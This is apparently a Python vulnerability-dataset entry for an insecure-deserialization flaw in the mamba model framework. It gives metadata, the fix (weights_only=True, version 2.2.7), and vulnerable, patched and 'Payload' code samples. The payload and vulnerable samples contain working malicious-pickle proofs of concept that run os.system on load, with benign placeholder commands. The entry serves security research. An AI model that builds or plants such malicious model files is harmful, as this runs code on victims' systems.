VAITP Dataset

← Back to the dataset

CVE-2026-31239

Insecure model deserialization in Mamba allows for remote code execution.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

The mamba language model framework thru 2.2.6 is vulnerable to insecure deserialization (CWE-502) when loading pre-trained models from HuggingFace Hub. The MambaLMHeadModel.from_pretrained() method uses torch.load() to load the pytorch_model.bin weight file without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by publishing a malicious model repository on HuggingFace Hub. When a victim loads a model from this repository, arbitrary code is executed on the victim's system in the context of the mamba process.

CVSS base score
9.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
mamba
Fixed by upgrading
Yes

Solution

Upgrade to mamba version 2.2.7 or later.

Vulnerable code sample

import torch
import pickle
import os
import io

# This example represents the vulnerability conceptually.
# An attacker would create a malicious 'pytorch_model.bin' file and host it
# on a HuggingFace Hub repository.

# Attacker's payload preparation
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # This method is called during deserialization (unpickling).
        # It returns a callable (os.system) and its arguments.
        command = 'echo "[+] Arbitrary code executed via insecure deserialization!"'
        return (os.system, (command,))

# Create an in-memory file-like object containing the malicious pickled data.
# In a real attack, this would be the 'pytorch_model.bin' file.
malicious_pickle_data = io.BytesIO()
pickle.dump(ArbitraryCodeExecutor(), malicious_pickle_data)
malicious_pickle_data.seek(0)


# Simplified representation of the vulnerable part of the Mamba library
class MambaLMHeadModel:
    @classmethod
    def from_pretrained(cls, pretrained_model_name, **kwargs):
        """
        Simplified vulnerable method. In a real scenario, this method would
        download the 'pytorch_model.bin' from HuggingFace Hub.
        """
        print(f"[*] Loading model: {pretrained_model_name}")

        # Simulate loading the malicious 'pytorch_model.bin' file.
        # This is the core of the vulnerability. `torch.load` uses `pickle`
        # by default, and the `weights_only=True` parameter is missing.
        state_dict = torch.load(malicious_pickle_data)

        print(f"[*] Model weights supposedly loaded.")
        # The arbitrary code has already been executed at this point.
        # The function might continue or crash, but the damage is done.
        return cls()


# Victim's code
# A user tries to load a seemingly legitimate model from HuggingFace Hub.
print("[*] Victim trying to load a pre-trained model...")
model = MambaLMHeadModel.from_pretrained("attacker/malicious-mamba-model")
print("[*] Script finished.")

Patched code sample

import torch

def load_mamba_model_safely(model_path):
    """
    Represents the fixed method for loading model weights from a file,
    preventing insecure deserialization.

    Args:
        model_path (str): The path to the 'pytorch_model.bin' file.

    Returns:
        The model's state dictionary.
    """
    # The vulnerability is fixed by adding the 'weights_only=True' parameter.
    # This ensures that torch.load only deserializes tensors (the model's weights)
    # and refuses to unpickle arbitrary Python objects, which could otherwise
    # lead to remote code execution.
    state_dict = torch.load(model_path, map_location="cpu", weights_only=True)
    return state_dict

Payload

import torch
import os
import pickle

class MaliciousObject:
    def __reduce__(self):
        # This command will be executed on the victim's machine.
        # A simple proof-of-concept is to create a file.
        # A real attack would use a reverse shell or other malicious command.
        command = "touch /tmp/pwned"
        return (os.system, (command,))

# Create the malicious model file that will be loaded by torch.load()
torch.save(MaliciousObject(), "pytorch_model.bin", pickle_module=pickle)

Cite this entry

@misc{vaitp:cve202631239,
  title        = {{Insecure model deserialization in Mamba allows for remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31239},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31239/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::